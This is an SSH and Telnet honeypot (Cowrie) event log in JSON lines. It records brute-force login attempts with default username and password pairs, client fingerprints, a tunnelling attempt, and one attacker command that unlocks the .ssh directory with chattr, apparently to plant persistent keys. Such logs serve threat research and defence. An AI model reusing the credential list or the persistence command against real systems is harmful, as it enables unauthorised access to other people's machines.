{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:11.133680Z","src_ip":"201.6.100.191","session":"1f9600ac1e65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:11.264356Z","src_ip":"201.6.100.191","session":"1f9600ac1e65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoopuser","password":"hadoopuser","message":"login attempt [hadoopuser/hadoopuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:11.801856Z","src_ip":"201.6.100.191","session":"1f9600ac1e65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:12.934798Z","src_ip":"201.6.100.191","session":"1f9600ac1e65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.114.231","src_port":38288,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bab12fb07ea","protocol":"ssh","message":"New connection: 14.103.114.231:38288 (10.17.0.5:22) [session: 1bab12fb07ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:13.017773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:15.768203Z","src_ip":"14.103.114.231","session":"1bab12fb07ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:15.771291Z","src_ip":"14.103.114.231","session":"1bab12fb07ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"PassW0rd","message":"login attempt [ubuntu/PassW0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:16.678673Z","src_ip":"14.103.114.231","session":"1bab12fb07ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:17.912060Z","src_ip":"14.103.114.231","session":"1bab12fb07ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":52028,"dst_ip":"159.203.135.109","dst_port":22,"session":"13574d64fbec","protocol":"ssh","message":"New connection: 103.158.40.65:52028 (159.203.135.109:22) [session: 13574d64fbec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:23.471519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:23.475784Z","src_ip":"103.158.40.65","session":"13574d64fbec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:23.709023Z","src_ip":"103.158.40.65","session":"13574d64fbec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftppass","message":"login attempt [ftpuser/ftppass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:24.673925Z","src_ip":"103.158.40.65","session":"13574d64fbec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.204.212.237","src_port":51784,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b7a00fdd712","protocol":"telnet","message":"New connection: 112.204.212.237:51784 (10.17.0.5:23) [session: 0b7a00fdd712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:25.397942Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:26.187126Z","src_ip":"103.158.40.65","session":"13574d64fbec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.97.227.163","src_port":35808,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b0610a4496f","protocol":"ssh","message":"New connection: 181.97.227.163:35808 (10.17.0.5:22) [session: 3b0610a4496f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:44.303846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:44.308283Z","src_ip":"181.97.227.163","session":"3b0610a4496f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:44.512426Z","src_ip":"181.97.227.163","session":"3b0610a4496f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testftp","password":"1234","message":"login attempt [testftp/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:45.358203Z","src_ip":"181.97.227.163","session":"3b0610a4496f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.209.98.29","src_port":57582,"dst_ip":"159.203.135.109","dst_port":23,"session":"a120076c9a33","protocol":"telnet","message":"New connection: 181.209.98.29:57582 (159.203.135.109:23) [session: a120076c9a33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:45.807167Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:46.565506Z","src_ip":"181.97.227.163","session":"3b0610a4496f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":36342,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef17474a922d","protocol":"ssh","message":"New connection: 87.251.64.176:36342 (10.17.0.5:22) [session: ef17474a922d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:55.450627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:55.455565Z","src_ip":"87.251.64.176","session":"ef17474a922d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:55.555334Z","src_ip":"87.251.64.176","session":"ef17474a922d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:55.941293Z","src_ip":"87.251.64.176","session":"ef17474a922d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:56.040577Z","session":"ef17474a922d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:56.139234Z","src_ip":"87.251.64.176","session":"ef17474a922d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:56.375463Z","src_ip":"87.251.64.176","session":"ef17474a922d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.311970710754395,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:56.709781Z","src_ip":"112.204.212.237","session":"0b7a00fdd712","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.162","src_port":35814,"dst_ip":"10.17.0.5","dst_port":22,"session":"052ba0b4eb4d","protocol":"ssh","message":"New connection: 101.36.106.162:35814 (10.17.0.5:22) [session: 052ba0b4eb4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:56.740712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:56.749554Z","src_ip":"101.36.106.162","session":"052ba0b4eb4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:56.968279Z","src_ip":"101.36.106.162","session":"052ba0b4eb4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"321cxz","message":"login attempt [ubuntu/321cxz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:57.871936Z","src_ip":"101.36.106.162","session":"052ba0b4eb4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:59.093185Z","src_ip":"101.36.106.162","session":"052ba0b4eb4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.609924793243408,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:52:59.416972Z","src_ip":"181.209.98.29","session":"a120076c9a33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.219.137","src_port":7650,"dst_ip":"159.203.135.109","dst_port":22,"session":"170ab6865c04","protocol":"ssh","message":"New connection: 131.161.219.137:7650 (159.203.135.109:22) [session: 170ab6865c04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:02.395287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:02.402514Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:02.533245Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"123admin!@#","message":"login attempt [admin/123admin!@#] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:03.076819Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:03.384250Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:03.387672Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:03.391606Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:03.524011Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:03.825581Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
